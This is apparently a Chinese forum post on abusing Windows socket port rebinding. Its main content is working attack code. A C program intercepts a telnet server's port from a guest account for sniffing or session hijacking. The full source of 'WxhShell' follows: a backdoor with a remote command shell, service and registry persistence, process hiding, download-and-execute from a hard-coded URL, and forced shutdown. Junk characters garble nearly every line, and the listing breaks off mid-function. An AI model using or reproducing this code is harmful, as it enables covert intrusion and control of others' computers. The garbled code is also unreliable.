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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: G8w@C  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wTR?8$  
N lm}'Xt  
  saddr.sin_family = AF_INET; lU=VCuW!  
[];wP '*  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); IMdp"  
_(gkYJ+MK  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); # SCLU9-  
&,PA+#  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Z>3~n  
[ywF!#'){  
  这意味着什么?意味着可以进行如下的攻击: Hr}"g@ <  
WhH60/`  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5"3 `ss<m  
I+kL;YdS  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 3l`"(5  
cy mC?8<  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .Xf_U.h$*@  
"8z Me L  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Si~wig2  
tGl|/  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 v_%6Ly  
("}Hs[  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ^fd*KM  
Ho/tCU|w  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 O\;Lb[`lb  
3HP { a  
  #include U,yZ.1V^:  
  #include }0 H<G0   
  #include S3U]AH)C  
  #include    -b+)Dp~$p  
  DWORD WINAPI ClientThread(LPVOID lpParam);   D1>*ml  
  int main() @|ZUyat  
  { b|x B <  
  WORD wVersionRequested; x%@M*4:&  
  DWORD ret; ~MB)}!S:  
  WSADATA wsaData; /#: *hn  
  BOOL val; %j17QD8  
  SOCKADDR_IN saddr; |SMigSu r`  
  SOCKADDR_IN scaddr; #>_fYjT  
  int err; }2BNy9q@  
  SOCKET s; hF^JSCDz l  
  SOCKET sc; >zJkG9a  
  int caddsize; ;XZN0A2  
  HANDLE mt; B$JPE7h@[P  
  DWORD tid;   Q2)5A& U\  
  wVersionRequested = MAKEWORD( 2, 2 ); XZ$g~r  
  err = WSAStartup( wVersionRequested, &wsaData ); Dqwd=$2%  
  if ( err != 0 ) { sP@XV/`3L6  
  printf("error!WSAStartup failed!\n"); 8aRmHy"9l  
  return -1; g9g ] X  
  } .uX(-8n ~  
  saddr.sin_family = AF_INET; ~v/` `s  
   Z(4/;v <CT  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 j&A9 &+w  
Fv/{)H<:y  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); MxGQM>  
  saddr.sin_port = htons(23); a>8] +@  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) d^IX(y*$  
  { G&wYV[Ln  
  printf("error!socket failed!\n"); E)I&? <g  
  return -1; d9e~><bPJ  
  } PeEaF@#k  
  val = TRUE; 1 +M !EW  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 |yOIC,5[JW  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) g.:ZMV  
  { H)*%eG~  
  printf("error!setsockopt failed!\n"); K|~ !oQ  
  return -1; q(s0dkrj  
  } {t0!N]'  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &];W#9"Z  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 >c:nr&yP  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 F!C<^q~!  
Op 9+5]XF  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) pG* W>F  
  { z:dW'U?1  
  ret=GetLastError(); }Sh@.3*  
  printf("error!bind failed!\n"); }\N ~%?6D  
  return -1; {}" <  
  } d--6<_q  
  listen(s,2); u, 72Mm>  
  while(1) 4T)`%Oo<}  
  { +['1~5  
  caddsize = sizeof(scaddr); n^G[N-\3  
  //接受连接请求 +W[{UC4b  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0_^3 |n  
  if(sc!=INVALID_SOCKET) 6+>X`k%D  
  { M6]:^;p'  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 1Nv qtVC  
  if(mt==NULL) ;uZq_^?:9&  
  { %_5?/H@%3z  
  printf("Thread Creat Failed!\n"); m9 D*I1  
  break; ky]L`w  
  } ]wbV1Y"  
  } 3<a|_(K  
  CloseHandle(mt); fx^yC.$2  
  } l0',B*og  
  closesocket(s); \Y:zg3q*  
  WSACleanup(); ] TZ/=Id  
  return 0; (h@~0S  
  }   K"Irg.  
  DWORD WINAPI ClientThread(LPVOID lpParam) G-o6~"J\  
  { G&6`?1k  
  SOCKET ss = (SOCKET)lpParam; /W}"/W9  
  SOCKET sc; K7qR  
  unsigned char buf[4096]; 6k37RpgH  
  SOCKADDR_IN saddr; Y|-&=  
  long num; {ueDwnZ  
  DWORD val; rXGaav9  
  DWORD ret; ldaT: er9  
  //如果是隐藏端口应用的话,可以在此处加一些判断 cft@s Y  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   f.vJJa  
  saddr.sin_family = AF_INET; ~ /K'n  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); FA%BzU5^  
  saddr.sin_port = htons(23); 7.yCs[Z  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hx~rq `{  
  { J?&%fI  
  printf("error!socket failed!\n"); 6LT.ng  
  return -1; bSTTr<W  
  } z=rSb4"W  
  val = 100; >dDcm  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) P!&yYR\  
  { S*ie$}ZX  
  ret = GetLastError(); 7$L*nf  
  return -1; E|VTbE YG  
  } 8*]dA ft  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) lb}:! Y  
  { [F27i#'I]  
  ret = GetLastError(); 4 `}6W>*R  
  return -1; RS{E|  
  } 3XUie;*`  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Z+FhI^  
  { Fdx4jc13w  
  printf("error!socket connect failed!\n"); ,nniSG((3  
  closesocket(sc); }hc+ENh  
  closesocket(ss); 2.a{,d  
  return -1; soB_j  
  } 4)snt3k  
  while(1) catJC3  
  { ]6WP;.[  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 |5BvVqn  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 kL -f@CD  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 TPi{c_ ]  
  num = recv(ss,buf,4096,0); ]#FQde4]5  
  if(num>0) s*e1m%  
  send(sc,buf,num,0); ( d8rfet  
  else if(num==0) ` P*PCiZos  
  break; NQd0$q  
  num = recv(sc,buf,4096,0); \Dx)P[Ur  
  if(num>0) 17ynFHMd,  
  send(ss,buf,num,0); J>0RN/38o  
  else if(num==0) OK:YnSk"  
  break; t1o_x}z4.  
  } 3`njQvI\  
  closesocket(ss); [5P1 pkZ  
  closesocket(sc); &:=[\Ws R  
  return 0 ; //}KWz  
  } .`h:1FP 8  
+L=a\8Ep  
cN: ek|r  
========================================================== sFRQFX0XoY  
uX&Tn1Kg  
下边附上一个代码,,WXhSHELL 6#2E {uy;R  
((fFe8Rn)q  
========================================================== C7MCMM|S  
7}Jn`^!  
#include "stdafx.h" )5s-"o<  
T FK#ign  
#include <stdio.h> HhUk9 >7  
#include <string.h> ^F+7@*u  
#include <windows.h> Qy'-3GB  
#include <winsock2.h> 0&6(y* #Z  
#include <winsvc.h> ru*}lDJ  
#include <urlmon.h> ]~'pYOB  
-$f$z(h  
#pragma comment (lib, "Ws2_32.lib") SiT5QJe  
#pragma comment (lib, "urlmon.lib") J~5+=V7OV  
| +aD%'|  
#define MAX_USER   100 // 最大客户端连接数 w `>g^_xsg  
#define BUF_SOCK   200 // sock buffer S\A9r!2  
#define KEY_BUFF   255 // 输入 buffer JjBlje  
=K6{AmG$  
#define REBOOT     0   // 重启 ,@@FAL  
#define SHUTDOWN   1   // 关机 %uy?@e  
fSm|anuKZe  
#define DEF_PORT   5000 // 监听端口 ia%U;M  
'# J/e0o@  
#define REG_LEN     16   // 注册表键长度 yxy~N\ 0  
#define SVC_LEN     80   // NT服务名长度 .$r7q[  
{&)E$ M  
// 从dll定义API #D8u#8Dz  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 'n "n;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  \.MPjD  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >m`<AynJ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !4fT<V (  
Y ^}c+)t  
// wxhshell配置信息 A}0u-W  
struct WSCFG { NS^+n4  
  int ws_port;         // 监听端口 <ta#2  
  char ws_passstr[REG_LEN]; // 口令 qoJ<e`h}  
  int ws_autoins;       // 安装标记, 1=yes 0=no  k< g  
  char ws_regname[REG_LEN]; // 注册表键名 /cZ-+cu  
  char ws_svcname[REG_LEN]; // 服务名 Wg=4`&F^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <Lfo5:.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 qf B!)Y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 G\H|\i  
int ws_downexe;       // 下载执行标记, 1=yes 0=no K]Z];C#)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :.F;LF&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 XbW 1`PH  
SQI =D8  
}; {'q(a4  
-ob1_0  
// default Wxhshell configuration hkvymHaG  
struct WSCFG wscfg={DEF_PORT, |6zx YuX  
    "xuhuanlingzhe", Hu7WU;w  
    1, "v5jYz5M  
    "Wxhshell", 9rM6kLD  
    "Wxhshell", 7! #34ue  
            "WxhShell Service", Y-:dPc{  
    "Wrsky Windows CmdShell Service", v\Xyz )  
    "Please Input Your Password: ", C3e0d~C  
  1, #w]@yL]|is  
  "http://www.wrsky.com/wxhshell.exe", r>7Dg~)V  
  "Wxhshell.exe" ]*pro|  
    }; &l(PWU  
bxF'`^En  
// 消息定义模块 [X'u={  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {{e+t8J??  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \PgMMc4'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; eih~ SBSH  
char *msg_ws_ext="\n\rExit."; d<afO?"  
char *msg_ws_end="\n\rQuit."; ynG@/S6)K  
char *msg_ws_boot="\n\rReboot..."; Mp`i@pm+  
char *msg_ws_poff="\n\rShutdown..."; [[vbw)u  
char *msg_ws_down="\n\rSave to "; fk?(mxx"  
!1Z rS  
char *msg_ws_err="\n\rErr!"; B-EDVMu  
char *msg_ws_ok="\n\rOK!"; Vi\kB%  
./E<v  
char ExeFile[MAX_PATH]; u75(\<{  
int nUser = 0; >iFi~)i_4y  
HANDLE handles[MAX_USER]; `ouCQ]tKz  
int OsIsNt; Nd61ns(N  
5vqh09-FB  
SERVICE_STATUS       serviceStatus; >Gi* BB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }1pG0V4  
Id 40yER  
// 函数声明 {,zn#hU.R  
int Install(void); PitDk 1T  
int Uninstall(void); 9|1J pb  
int DownloadFile(char *sURL, SOCKET wsh);  B/ACU  
int Boot(int flag); z Ud{9B$  
void HideProc(void); z Feo8S  
int GetOsVer(void); uUI@!)@2  
int Wxhshell(SOCKET wsl); PvqG5-L~W  
void TalkWithClient(void *cs); " )/febBS  
int CmdShell(SOCKET sock); kJG0X%+w  
int StartFromService(void); 0N4+6k|  
int StartWxhshell(LPSTR lpCmdLine); D;WQNlTU  
\ q=Bbfzv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G7d)X^q!xS  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b;Uqyc  
+C ){&/=#  
// 数据结构和表定义 1JSKK.LuJV  
SERVICE_TABLE_ENTRY DispatchTable[] = 8+OcM ;0  
{ ''~#tK f  
{wscfg.ws_svcname, NTServiceMain}, >Yt+LdG!-  
{NULL, NULL} @6:J$B~)u  
}; ,)7y? *D}  
a) 5;Od  
// 自我安装 P`!31P#]L  
int Install(void) kC4}@{4i  
{ m #}%l3$  
  char svExeFile[MAX_PATH]; 0X[uXf  
  HKEY key; s2Hx ?~  
  strcpy(svExeFile,ExeFile); )-_To&S*  
$kCLS7 *  
// 如果是win9x系统,修改注册表设为自启动 Iji9N!Yx  
if(!OsIsNt) { %SlF7$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kMY1Xb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [_wenlkm  
  RegCloseKey(key); Mg76v<mv<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?wYvBFRn7"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K1*]6x,  
  RegCloseKey(key); h!h<!xaclW  
  return 0; :~{x'`czJ  
    } :ZP`Y%dt'  
  } 55]E<2't  
} %_%/ym  
else { a.!|A(zw  
Y;OqdO  
// 如果是NT以上系统,安装为系统服务 B$@fE}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'SE?IE{  
if (schSCManager!=0) }Gg:y?  
{ tX *}l|;(  
  SC_HANDLE schService = CreateService ~k[q:$T  
  ( =[T_`*s&  
  schSCManager, La#otuw+?  
  wscfg.ws_svcname, STY\c5  
  wscfg.ws_svcdisp, :r,o-D  
  SERVICE_ALL_ACCESS, f+iM_MI  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^t#W?rxp&  
  SERVICE_AUTO_START, !%s&GD8&l  
  SERVICE_ERROR_NORMAL, 9 9S-P}xd  
  svExeFile, VwxLElV  
  NULL, ?ta(`+"  
  NULL, ej9|Y5D"S  
  NULL, ( 17=|s  
  NULL, {#X]D~;s+  
  NULL 8O0E;6b  
  ); -^+!:0';  
  if (schService!=0) zOzobd   
  { ^ H )nQ  
  CloseServiceHandle(schService); p!]$!qHO (  
  CloseServiceHandle(schSCManager); u#uT|a.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); F1aI4H<(T  
  strcat(svExeFile,wscfg.ws_svcname); %qj8*1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { X=U>r  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); g<&n V>wF  
  RegCloseKey(key); -p\uW 0XA  
  return 0; N! N>/9  
    } G(6MLh1  
  } )r^)e 4UI  
  CloseServiceHandle(schSCManager); 4W$ t28)  
} .uGvmD <;x  
} X[Q:c4'  
.*z Wm  
return 1; q" aUA_}\  
} 2IGoAt>V  
X[{tD#  
// 自我卸载 cun&'JOH?U  
int Uninstall(void) 7@*l2edXm+  
{ E=9xiS  
  HKEY key; ,J63 ?EQ3  
v Ol<  
if(!OsIsNt) { ~p0M|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bm:"&U*tu'  
  RegDeleteValue(key,wscfg.ws_regname); jx7b$x]  
  RegCloseKey(key); [^4)3cj7}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /PuN+M  
  RegDeleteValue(key,wscfg.ws_regname); s v}o%  
  RegCloseKey(key); D#I^;Xg0h  
  return 0; CCQ38P@rv  
  } a\BV%'Zqg  
} fI([vI  
} 5i42o+'  
else { i G%h-  
Cj6+zJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0~:Eo89  
if (schSCManager!=0) NEb M>1>^  
{ 3r]:k) J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); XzBnj7E  
  if (schService!=0) ,4&?`Q  
  { `f~\d.*U  
  if(DeleteService(schService)!=0) { QxaW x  
  CloseServiceHandle(schService); g} /efE  
  CloseServiceHandle(schSCManager); L~u@n24  
  return 0; L~PBD?l  
  } 'q_^28rK  
  CloseServiceHandle(schService); D%+cf  
  } i 6@c@n  
  CloseServiceHandle(schSCManager); C=&rPUX{  
} 8 o SNnT  
} \(db1zmS~  
,sqx xq  
return 1; #S*`7MvM  
} ?"o7x[  
;`f14Fb  
// 从指定url下载文件 % >\v6ea  
int DownloadFile(char *sURL, SOCKET wsh) >&z=ktB  
{ =5v=<, ]  
  HRESULT hr; */7+pk(  
char seps[]= "/"; Tt.#O~2:9  
char *token; Zr%,F[j?  
char *file; (5Z*m<]c  
char myURL[MAX_PATH]; 'fGB#uBt  
char myFILE[MAX_PATH]; 8NJxtT~0c~  
%]m/fo4b  
strcpy(myURL,sURL); h'tb  
  token=strtok(myURL,seps); &O:IRR7p  
  while(token!=NULL) Yi5^# G  
  { Gz,?e]ZV  
    file=token; eq!>~: #  
  token=strtok(NULL,seps); ;;zQVD )X  
  } 5S EyAhB  
m);0sb  
GetCurrentDirectory(MAX_PATH,myFILE); iW # |N^  
strcat(myFILE, "\\"); !d)Vr5x  
strcat(myFILE, file); [K=M; $iQ  
  send(wsh,myFILE,strlen(myFILE),0); l[AQyR1+/  
send(wsh,"...",3,0); KS3>c7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); lzE{e6  
  if(hr==S_OK) D\ ;(BB  
return 0; 5(+PI KCjC  
else U_8 Z&  
return 1; fVXZfq6  
6` 8H k;  
} bl8EzO  
0,z3A>C  
// 系统电源模块 dx&!RK+  
int Boot(int flag) P"%QFt,  
{ 8nj^x?bn  
  HANDLE hToken; sT*D]J 2  
  TOKEN_PRIVILEGES tkp; :"~SKJm  
S /kM#  
  if(OsIsNt) { 4*D'zJsJ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); r+D ?_Lk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); OtVRhR3>  
    tkp.PrivilegeCount = 1; b:M1P&R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5p}ri,Y<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0{q>'dv  
if(flag==REBOOT) { ,dR<O.{ 0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) l@irA tg4  
  return 0;  l:i&l?>_  
} ILU7Yhk  
else { Tx19\\r  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;K$ !c5  
  return 0; i0TbsoKh:  
} (\8~W*ej"  
  } :]rb}1nLB  
  else { X9-WU\?UC  
if(flag==REBOOT) { nqFJNK]a  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ){I0  
  return 0; 7'~O ai~r  
} Pss$[ %  
else { VL?sfG0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) pK|~G."6e  
  return 0; 2A95vC'u>|  
} -P.51q  
} %A$5mi^  
fFNs cY<4w  
return 1; X3dXRDB'  
} 9zL(PkC%\  
E xls_oSp  
// win9x进程隐藏模块 }mYxI^n  
void HideProc(void) 3T= ?!|e  
{ ;(3!#4`q(]  
)z^NJ'v4(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); lZr}F.7  
  if ( hKernel != NULL ) w!eY)p<  
  { {M^BY,%*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [KMNMg  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w:VD[\h  
    FreeLibrary(hKernel); TFAd  
  }  3cA '9  
* @=ZzL  
return; x##0s5Qn  
} Uk'bOp  
1s_N!a  
// 获取操作系统版本 P U2^4h/[`  
int GetOsVer(void) 0#S#v2r5  
{ _m.w5nJ  
  OSVERSIONINFO winfo; ;Zy[2M  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q21l{R{Y  
  GetVersionEx(&winfo); QMhvyzkS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5<>"d :9  
  return 1; ^ 7SE2Zi  
  else T! ww3d  
  return 0; (UB?UJc  
} }|OwUdE!R9  
YW2h#PV6_  
// 客户端句柄模块 FPE%h =sw  
int Wxhshell(SOCKET wsl) Q3I^(Ll"L  
{ 2;w`W58  
  SOCKET wsh; `x]`<kS;  
  struct sockaddr_in client; *6bO2LO"  
  DWORD myID; /os,s[w  
} 3}H}  
  while(nUser<MAX_USER) aJ"m`5]=%  
{ *N&~Uq^  
  int nSize=sizeof(client); % aqP{mOO  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &"?S0S>r!  
  if(wsh==INVALID_SOCKET) return 1; c[>xM3=e^q  
6Vj=SYK  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @GWJq 3e  
if(handles[nUser]==0) bs&>QsI?j  
  closesocket(wsh); 8Drz i!}  
else gkmV; 0  
  nUser++; 1N}vz(0"  
  } eBWgAf.k  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4q"4N2  
<Ej`zGhWz  
  return 0; 4D}hYk$eP0  
} x']Fe7nv  
Gsu?m  
// 关闭 socket #\8"d  
void CloseIt(SOCKET wsh) k2O3{xIjc  
{ 4l`[,BJ  
closesocket(wsh); =/!RQQ|8o  
nUser--; !pZ<{|cH  
ExitThread(0); >r3SF3XMq  
}  b]gVZ-  
RcC5_@W  
// 客户端请求句柄 \^1S:z  
void TalkWithClient(void *cs) ox*>HkV  
{ }/lyrjV  
P-/"sD  
  SOCKET wsh=(SOCKET)cs; bXi!_'z$  
  char pwd[SVC_LEN]; P~M[i9 V  
  char cmd[KEY_BUFF]; 1,(WS F  
char chr[1]; +#Wwah$  
int i,j; [w90gp1O[  
W\2 ']7}e  
  while (nUser < MAX_USER) { 7$*X   
TwsI8X  
if(wscfg.ws_passstr) { y_' 6bpb  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U=WS]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x5|^p=  
  //ZeroMemory(pwd,KEY_BUFF); j5[Y0)pV\  
      i=0; "AP$)xM-:  
  while(i<SVC_LEN) { )Dp0swJ  
q B IekQT  
  // 设置超时 \n`/?\r.z  
  fd_set FdRead; iB|htH'T  
  struct timeval TimeOut; r )HZaq  
  FD_ZERO(&FdRead); /9=r.Vxh  
  FD_SET(wsh,&FdRead); guG&3{&\s  
  TimeOut.tv_sec=8; TuEM  
  TimeOut.tv_usec=0; WvZt~x&2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); c5_/i7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); iu?gZVyka  
{_mVfFG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G c \^Kg^#  
  pwd=chr[0]; UwxszEHC  
  if(chr[0]==0xd || chr[0]==0xa) { }<YU4EW  
  pwd=0; /,_m\ JkwL  
  break; :dqZM#$d  
  } Gj?$HFa  
  i++; 6?Kl L [~  
    } inFS99DKx  
l/,la]!T  
  // 如果是非法用户,关闭 socket qW`?,N)r  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); fwvwmZW  
} ! 1=*"H%t  
_RIlGs\.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); bZ_TW9mq  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pztfm'  
$ x:N/mMu`  
while(1) { ):_@i  
;{aGEOP'U  
  ZeroMemory(cmd,KEY_BUFF); ; NH^+h  
$}Ab R:z  
      // 自动支持客户端 telnet标准   Ia< V\$#  
  j=0; )t KS ooW  
  while(j<KEY_BUFF) { R+U$;r8l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e=l:!E10  
  cmd[j]=chr[0]; zO---}[9a  
  if(chr[0]==0xa || chr[0]==0xd) { E#\Oe_eq~N  
  cmd[j]=0; sQJGwZ 7  
  break; m8;w7S7,j~  
  } fZj,Q#}D  
  j++; `/Rqt+C  
    } O ,9^R  
J&s$Wqf  
  // 下载文件 ^vPsp?  
  if(strstr(cmd,"http://")) { d]Y;rqjue  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); MI'"Xzp{s  
  if(DownloadFile(cmd,wsh)) Lg~C:BN F  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); C[}UQod0  
  else j!w{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gx8!AmeX  
  } S2e3d  
  else { _3:%b6&Pz  
``P9fd  
    switch(cmd[0]) { ,l6,k<   
  71y{Dwya  
  // 帮助 l -xc*lC  
  case '?': { x1?mE)n]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _U}vKm  
    break; .1q}mw   
  } hHhDs>tB  
  // 安装 p#{y9s4h  
  case 'i': { 9=~ZA{0J  
    if(Install()) ?].MnwYo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uDP:kM  
    else ccrWk*tr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ) $_1U!z  
    break; [gpO?'~  
    } gHp*QL\?9  
  // 卸载 N<8\.z5:<  
  case 'r': { Z[OX {_2]K  
    if(Uninstall()) PMpq>$6b7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W2#<]]-  
    else '.1P\>x!]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !8[T*'LJ-  
    break; ;aV3j/  
    } #|ts1lD#ah  
  // 显示 wxhshell 所在路径 A1INaL  
  case 'p': { O7Jux-E1C  
    char svExeFile[MAX_PATH]; |~e"i<G#  
    strcpy(svExeFile,"\n\r"); 0M"n  
      strcat(svExeFile,ExeFile); BLy V~   
        send(wsh,svExeFile,strlen(svExeFile),0); N.vWZ7l8  
    break; }q`9U!v  
    } XQ]vJQYIR  
  // 重启 (<r)xkn  
  case 'b': { 1oej<67PdJ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n82tZpn  
    if(Boot(REBOOT)) :31_WJ^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?E"192 ,z@  
    else { xeSch?}  
    closesocket(wsh); \ saV8U7B  
    ExitThread(0); S>0%jCjW  
    } Q?i_Nl/|  
    break; B=TUZ)  
    } .DhI3'Jrl  
  // 关机 ]]PNYa  
  case 'd': { Kf:!tRE  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P}}G9^  
    if(Boot(SHUTDOWN)) 0[l}@K?  
